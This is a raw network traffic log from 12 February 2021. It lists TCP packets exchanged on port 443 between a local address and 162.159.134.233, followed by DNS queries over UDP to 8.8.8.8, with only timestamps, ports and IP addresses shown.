Feb 12, 2021 19:39:13.247577906 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.247620106 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.247709036 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.248765945 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.248807907 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.248884916 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.249783039 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.249823093 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.249893904 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.250919104 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.250960112 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.251044989 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.282601118 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.282639027 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.282812119 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.283173084 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.283217907 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.283283949 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.284192085 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.284230947 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.284291983 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.285439968 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.285485029 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.285557985 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.286401033 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.286444902 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.286514044 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.287554979 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.287594080 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.287661076 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.288655043 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.288758039 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.288836956 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.289648056 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.289689064 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.289756060 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.290899992 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.291002989 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.291066885 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.291843891 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.291882992 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.291949034 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.293018103 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.293060064 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.293133020 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.294048071 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.294097900 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.294164896 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.295239925 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.295280933 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.295368910 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.296325922 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.296366930 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.296463013 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.297473907 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.297514915 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.297593117 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.298414946 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.298458099 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.298516035 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.299555063 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.299595118 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.299659967 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.300688028 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.300729036 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.300802946 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.301923037 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.301961899 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.302057981 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.302895069 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.302934885 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.303004026 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.303963900 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.304035902 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.304104090 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.305044889 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.305088997 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.305146933 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.306189060 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.306236982 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.306303978 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.307248116 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.307343006 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.307411909 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.327588081 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.327636957 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.327724934 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.328061104 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.328104019 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.328167915 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.328977108 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.329016924 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.329082966 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.330323935 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.330363989 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.330441952 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.331314087 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.331353903 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.331443071 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.332437992 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.332487106 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.332565069 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.333473921 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.333515882 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.333597898 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.334310055 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.334352016 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.334423065 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.335918903 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.335959911 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.336050034 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.336530924 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.336574078 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.336663008 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.337760925 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.337800026 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.337892056 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.338855028 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.338896036 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.338962078 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.340162992 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.340204954 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.340282917 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.341092110 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.341191053 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.341289043 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.342245102 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.342294931 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.342364073 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.343024969 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.343065977 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.343158007 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.344130993 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.344177008 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.344244957 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.345364094 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.345438957 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.345520973 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.346690893 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.346734047 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.347150087 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.347717047 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.347759962 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.347829103 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.348696947 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.348738909 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.348825932 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.349706888 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.349745989 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.349828959 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.350847006 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.350887060 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.350965977 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.352037907 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.352180958 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.352251053 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.372369051 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.372411966 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.372544050 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.372767925 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.372811079 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.372883081 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.373734951 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.373775005 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.373914003 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.375037909 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.375081062 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.375190973 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.376041889 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.376080990 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.376172066 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.377527952 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.377588987 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.377688885 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.378477097 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.378515005 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.378649950 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.379128933 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.379170895 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.379240036 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.380666018 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.380706072 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.380783081 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.381180048 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.381228924 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.381299019 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.382534027 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.382575035 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.382654905 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.383548975 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.383600950 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.383779049 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.384815931 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.384860039 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.384953976 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.385788918 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.385831118 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.385915995 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.386858940 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.386898041 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.386991024 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.388905048 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.388947964 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.388988972 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.389067888 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.390089989 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.390134096 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.390171051 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.390199900 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.390244007 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.391669989 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.391710043 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.391757965 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.391792059 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.393603086 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.393646002 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.393682003 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.393798113 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.395781040 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.395832062 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.395879030 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.395931005 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.395970106 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.395998955 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.396018028 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.396065950 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.396131992 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.396135092 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.397954941 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.397994995 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398032904 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398061037 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.398072004 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398114920 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.398123980 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398175001 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398219109 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398221970 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.398257017 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398303986 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.398686886 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398729086 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398768902 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.398772955 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.398863077 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.399622917 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.399666071 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.399704933 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.399758101 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.400609016 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.400640965 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.400700092 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.400718927 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.400796890 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.401575089 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.401604891 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.401633024 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.401676893 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.402661085 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.402693987 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.402719975 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.402744055 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.402786016 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.403605938 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.403635979 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.403697014 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.403764963 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.417509079 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.417562962 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.417612076 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.417639971 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.417681932 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.418488979 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.418539047 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.418581963 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.418592930 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.419804096 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.419853926 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.419871092 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.419895887 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.419945002 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.422352076 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.422405005 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.422449112 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.422625065 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.423188925 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.423238993 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.423254967 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.423281908 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.423340082 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.425618887 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.425658941 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.425733089 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.428277969 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.493275881 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493308067 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493325949 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493351936 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493443012 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.493474960 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.493554115 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493578911 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.493652105 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:39:13.493725061 CET	443	49709	162.159.134.233	192.168.2.5
Feb 12, 2021 19:39:13.544912100 CET	49709	443	192.168.2.5	162.159.134.233
Feb 12, 2021 19:40:19.122873068 CET	49709	443	192.168.2.5	162.159.134.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 12, 2021 19:39:12.847662926 CET	65447	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:12.901578903 CET	53	65447	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:20.117603064 CET	52441	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:20.167531013 CET	53	52441	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:20.949692965 CET	62176	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:20.998332977 CET	53	62176	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:21.847783089 CET	59596	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:21.900568008 CET	53	59596	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:23.159027100 CET	65296	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:23.210644007 CET	53	65296	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:24.786776066 CET	63183	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:24.835724115 CET	53	63183	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:27.677092075 CET	60151	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:27.730287075 CET	53	60151	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:28.862818956 CET	56969	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:28.916677952 CET	53	56969	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:29.776531935 CET	55161	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:29.829895973 CET	53	55161	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:30.883977890 CET	54757	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:30.946824074 CET	53	54757	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:31.121857882 CET	49992	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:31.170511007 CET	53	49992	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:39.812098980 CET	60075	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:39.860742092 CET	53	60075	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:48.455224037 CET	55016	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:48.517560959 CET	53	55016	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:53.291927099 CET	64345	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:53.348943949 CET	53	64345	8.8.8.8	192.168.2.5
Feb 12, 2021 19:39:58.153609037 CET	57128	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:39:58.204525948 CET	53	57128	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:02.727237940 CET	54791	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:02.789319992 CET	53	54791	8.8.8.8	192.168.2.5
Feb 12, 2021 19:40:11.440280914 CET	50463	53	192.168.2.5	8.8.8.8
Feb 12, 2021 19:40:11.508692026 CET	53	50463	8.8.8.8	192.168.2.5
